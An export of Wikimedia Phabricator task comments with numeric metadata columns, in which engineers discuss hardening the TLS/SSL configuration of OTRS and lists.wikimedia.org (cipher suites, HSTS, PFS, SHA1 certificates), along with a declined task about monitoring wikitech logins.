",,,1427262716,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-15,True,2.0,0.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,8.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,3.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,20.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,8.0,18.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7868852459016393,"QUOTE
QUOTE
QUOTE

QUOTE
QUOTE

Are there any problems in the settings? PFS is not supported here since Apache 2.2 doesn't support ECDHE cipher suites. I recallSCREEN_NAME said that OTRS would be behind misc-web. If so, then both the cipher suite and certificate issues will be gone.

"
432137,SSL-config of the OTRS is outdated,"    'compat' => 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECD    HE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA256    :ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-R    SA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AE    S256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128:AES256:HIGH:!aNULL:!eNULL:    !EXPORT:!DES:!MD5:!PSK:!DH',
",,,1427262146,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,3.0,28.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.042253521126761,0.2816901408450704,"    'compat' => 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECD    HE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA256    :ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-R    SA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AE    S256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128:AES256:HIGH:!aNULL:!eNULL:    !EXPORT:!DES:!MD5:!PSK:!DH',
"
432136,SSL-config of the OTRS is outdated,"manifests/role/otrs.pp already uses:

$ssl_settings = ssl_ciphersuite('apache-2.2', 'compat', '365')

either this is not actually used or the same problems apply to a couple services using the same settings and could be solved globally in ssl_ciphersuite.  HSTS should be enabled as well (the '365' part of it).  The "" MAC of the certificate still use SHA1"" should be part of T73156 and is a bit different because it requires new certs, not just changing config.",,,1427261617,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,3.0,2.0,4.0,1.0,1.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,1.0,9.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,5.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,7.0,6.0,0.0,9.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.92,0.69,"manifests/role/otrs.pp already uses:

$ssl_settings = ssl_ciphersuite('apache-2.2', 'compat', '365')

either this is not actually used or the same problems apply to a couple services using the same settings and could be solved globally in ssl_ciphersuite.  HSTS should be enabled as well (the '365' part of it).  The "" MAC of the certificate still use SHA1"" should be part of T73156 and is a bit different because it requires new certs, not just changing config."
430915,SSL-config of the OTRS is outdated,"Change 198714 abandoned by Matanya:
otrs: Enable strict transport security

Reason:
dup

[[https://gerrit.wikimedia.org/r/198714]]",,,1427125701,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.9583333333333335,0.75,"Change 198714 abandoned by Matanya:
otrs: Enable strict transport security

Reason:
dup

[[GERRIT_URL]]"
430865,SSL-config of the OTRS is outdated,">>! In T91504#1140476, @Matanya wrote:
> SSL config supports PFS

Sure it does, but the webserver for our OTRS doesn’t use it. HSTS is a nice idea, yes

",,,1427119472,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,19.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.074074074074074,0.8148148148148148,"QUOTE
QUOTE

Sure it does, but the webserver for our OTRS doesn’t use it. HSTS is a nice idea, yes

"
430861,SSL-config of the OTRS is outdated,"SSL config supports PFS, and the keys are ok. I pushed a patch for hsts, and the SHA1 will probably taker care of later. ",,,1427117980,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,14.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,14.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4642857142857144,0.8571428571428571,"SSL config supports PFS, and the keys are ok. I pushed a patch for hsts, and the SHA1 will probably taker care of later. "
430860,SSL-config of the OTRS is outdated,"Change 198714 had a related patch set uploaded (by Matanya):
otrs: Enable strict transport security

[[https://gerrit.wikimedia.org/r/198714]]
",,,1427117375,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9615384615384617,0.8846153846153846,"Change 198714 had a related patch set uploaded (by Matanya):
otrs: Enable strict transport security

[[GERRIT_URL]]
"
91226,Monitor for wikitech logins failing,"Monitor for logins to succeed. Any of keystone, wikitech, or ldap being down will cause this to fail.",Medium,50.0,1425271448,1727857756.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,PHID-TASK-jh2tmcowssv2z3yi73pe,task_description,declined,True,c3,1,True,False,False,-18,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"Monitor for logins to succeed. Any of keystone, wikitech, or ldap being down will cause this to fail."
2426638,Monitor for wikitech logins failing,The #Cloud-Services project tag is not intended to have any tasks. Please check the list on https://phabricator.wikimedia.org/project/profile/832/ and replace it with a more specific project tag to this task. Thanks!,,,1727857757,,PHID-APPS-PhabricatorHeraldApplication,False,,,PHID-TASK-jh2tmcowssv2z3yi73pe,task_subcomment,,True,c3,3,False,,,482,True,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,17.0,0.0,3.0,14.0,0.0,0.0,3.0,3.0,8.0,3.0,0.0,0.0,3.0,11.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.7777777777777777,0.8888888888888888,The #Cloud-Services project tag is not intended to have any tasks. Please check the list on URL and replace it with a more specific project tag to this task. Thanks!
2426637,Monitor for wikitech logins failing,Wikitech is less of a special case these days so I don't think that is needed,,,1727857756,,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,,,PHID-TASK-jh2tmcowssv2z3yi73pe,task_subcomment,,True,c3,3,True,,,482,True,0.0,0.0,0.0,6.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,3.6470588235294117,0.9411764705882353,Wikitech is less of a special case these days so I don't think that is needed
90351,Improve SSL of lists.wikimedia.org,"No PFS, old MAC (Sha1) and the ciphers could use an update too.",Medium,50.0,1424537952,1442597217.0,PHID-USER-4nukugv22wnc3p6k557t,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-3tmfmab5euy65kfc4wud,task_description,resolved,True,c3,1,False,False,True,-19,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,24.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"No PFS, old MAC (Sha1) and the ciphers could use an update too."
531776,Improve SSL of lists.wikimedia.org,"apparently this broke support for the ""listadmin"" script below, but i don't know if we can do much about it since the last update of that script seems to be 2007 and our cipher settings are rated as modern and don't exclude many clients: (https://www.ssllabs.com/ssltest/analyze.html?d=lists.wikimedia.org&latest  < mutante> clients we exclude: Java6, openssl 0.9.8, IE6/IE8 on XP)

10:37 < marktraceur> http://www.freecode.com/projects/listadmin
10:38 < marktraceur> ERROR: fetching https://lists.wikimedia.org/mailman/admindb/wikimedia-us-mn
10:38 < marktraceur> ERROR: 500 SSL negotiation failed:  -- skipping list
",,,1442857638,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,True,,,11,True,1.0,0.0,0.0,0.5,1.0,2.5,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,2.5,0.0,2.0,4.5,0.0,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,3.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,9.5,1.0,1.5,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.5,0.0,3.0,4.5,15.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,3.68815987933635,0.7562217194570136,"apparently this broke support for the ""listadmin"" script below, but i don't know if we can do much about it since the last update of that script seems to be 2007 and our cipher settings are rated as modern and don't exclude many clients: (URL  < mutante> clients we exclude: Java6, openssl 0.9.8, IE6/IE8 on XP)

10:37 < marktraceur> URL
10:38 < marktraceur> ERROR: fetching URL
10:38 < marktraceur> ERROR: 500 SSL negotiation failed:  -- skipping list
"
530405,Improve SSL of lists.wikimedia.org,"we are now rated Grade A+ by ssllabs

https://www.ssllabs.com/ssltest/analyze.html?d=lists.wikimedia.org

Forward Secrecy 	Yes (with most browsers)   ROBUST

uses SHA256 instead of SHA1

ciphers updated , now on Apache 2.4",,,1442597181,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,11.0,25.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.7777777777777777,0.8888888888888888,"we are now rated Grade A+ by ssllabs

URL

Forward Secrecy 	Yes (with most browsers)   ROBUST

uses SHA256 instead of SHA1

ciphers updated , now on Apache 2.4"
516444,Improve SSL of lists.wikimedia.org,"what it will be soon on fermium with the ""mid"" setting:

per ssllabs.com:

Protocol Support: 95/100

Secure Renegotiation 	Supported

Downgrade attack prevention 	Yes, TLS_FALLBACK_SCSV supported -  This server supports TLS_FALLBACK_SCSV to prevent protocol downgrade attacks. 

Forward Secrecy 	Yes (with most browsers)   ROBUST

Strict Transport Security (HSTS) 	Yes   max-age=31536000 - This server supports HTTP Strict Transport Security with long duration. 

Public Key Pinning (HPKP) 	No

Issuer		RapidSSL SHA256 CA - G3

who will not be able to connect anymore ( Protocol or cipher suite mismatch):
Android 2.3.7
IE 6 / XP
IE 8 / XP
Java 6u45
OpenSSL 0.9.8y",,,1440746782,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,8.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,26.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,2.5,1.0,2.0,0.0,0.5,4.0,24.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,4.202898550724638,0.7971014492753623,"what it will be soon on fermium with the ""mid"" setting:

per ssllabs.com:

Protocol Support: 95/100

Secure Renegotiation 	Supported

Downgrade attack prevention 	Yes, TLS_FALLBACK_SCSV supported -  This server supports TLS_FALLBACK_SCSV to prevent protocol downgrade attacks. 

Forward Secrecy 	Yes (with most browsers)   ROBUST

Strict Transport Security (HSTS) 	Yes   max-age=31536000 - This server supports HTTP Strict Transport Security with long duration. 

Public Key Pinning (HPKP) 	No

Issuer		RapidSSL SHA256 CA - G3

who will not be able to connect anymore ( Protocol or cipher suite mismatch):
Android 2.3.7
IE 6 / XP
IE 8 / XP
Java 6u45
OpenSSL 0.9.8y"
515120,Improve SSL of lists.wikimedia.org,"Change 232420 merged by Dzahn:
mailman: SSL settings to Apache 2.4 and ""mid""

[[https://gerrit.wikimedia.org/r/232420]]",,,1440611729,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.375,0.8333333333333334,"Change 232420 merged by Dzahn:
mailman: SSL settings to Apache 2.4 and ""mid""

[[GERRIT_URL]]"
510809,Improve SSL of lists.wikimedia.org,"I think “mid” should be enough for this case.
",,,1439983414,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.923076923076923,1.0,"I think “mid” should be enough for this case.
"
510626,Improve SSL of lists.wikimedia.org,"Change 232420 had a related patch set uploaded (by Dzahn):
mailman: SSL settings to Apache 2.4 and ""mid""

[[https://gerrit.wikimedia.org/r/232420]]
",,,1439947589,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.3870967741935485,0.8709677419354839,"Change 232420 had a related patch set uploaded (by Dzahn):
mailman: SSL settings to Apache 2.4 and ""mid""

[[GERRIT_URL]]
"
510623,Improve SSL of lists.wikimedia.org,"as to the ""compat"" part, after upgrading we will have 3 options, ""strong"", ""mid"" or keeping ""compat"". I'm pasting the comments from wmflib here:


```
 17 #   - strong:     Only TLSv1.2 with PFS+AEAD ciphers.  In practice this is a
 18 #                 very short list, and requires a very modern client.  No
 19 #                 tradeoff is made for compatibility.  Known to work with:
 20 #                 New FF/Chrome, IE11, Java8, Android 4.4+, OpenSSL 1.0.x
 21 #                 Definitely broken with: All Safari (OSX/iOS).
 22 #                 IE11 support requires either DHE support or an ECDSA key.
 23 #   - mid:        Supports TLSv1.0 and higher, and adds several forward-secret
 24 #                 options which are not AEAD.  This is compatible with many
 25 #                 more clients than ""strong"".  With a DHE-capable server,
 26 #                 should only be incompatible with IE8/XP, ancient/un-updated
 27 #                 Java6, and some small corner cases like Nokia feature
 28 #                 phones.  With a non-DHE server, compatibility is also lost
 29 #                 with Android 2.x, OpenSSL 0.9.8, and more Java6 clients.
 30 #   - compat:     Supports most legacy clients, PFS optional but preferred.

```

I would say ""strong"" is out because it excludes too many clients for a very public service like lists. ""mid"" might be a reasonable choice, just no IE8 then. or we have to stay with ""compat""",,,1439947348,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,True,,,6,True,1.0,0.0,1.0,0.0,0.0,7.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,4.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,6.0,11.0,2.0,0.0,16.0,0.0,6.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.2,0.6444444444444445,"as to the ""compat"" part, after upgrading we will have 3 options, ""strong"", ""mid"" or keeping ""compat"". I'm pasting the comments from wmflib here:


``CODE``

I would say ""strong"" is out because it excludes too many clients for a very public service like lists. ""mid"" might be a reasonable choice, just no IE8 then. or we have to stay with ""compat"""
510622,Improve SSL of lists.wikimedia.org,"Looking at the config now it already uses `<%= @ssl_settings.join(""\n"") %>` and `$ssl_settings = ssl_ciphersuite('apache-2.2', 'compat', '365')`

That means the settings are taken from the global place, HSTS is enabled with 1 year expiry and the rest will be solved by switching to Apache 2.4.

",,,1439947098,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,14.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,12.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9302325581395348,0.8604651162790697,"Looking at the config now it already uses CODE and CODE

That means the settings are taken from the global place, HSTS is enabled with 1 year expiry and the rest will be solved by switching to Apache 2.4.

"
479435,Improve SSL of lists.wikimedia.org,also note the sha1 issue is fixed ;],,,1435008927,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,1.0,also note the sha1 issue is fixed ;]
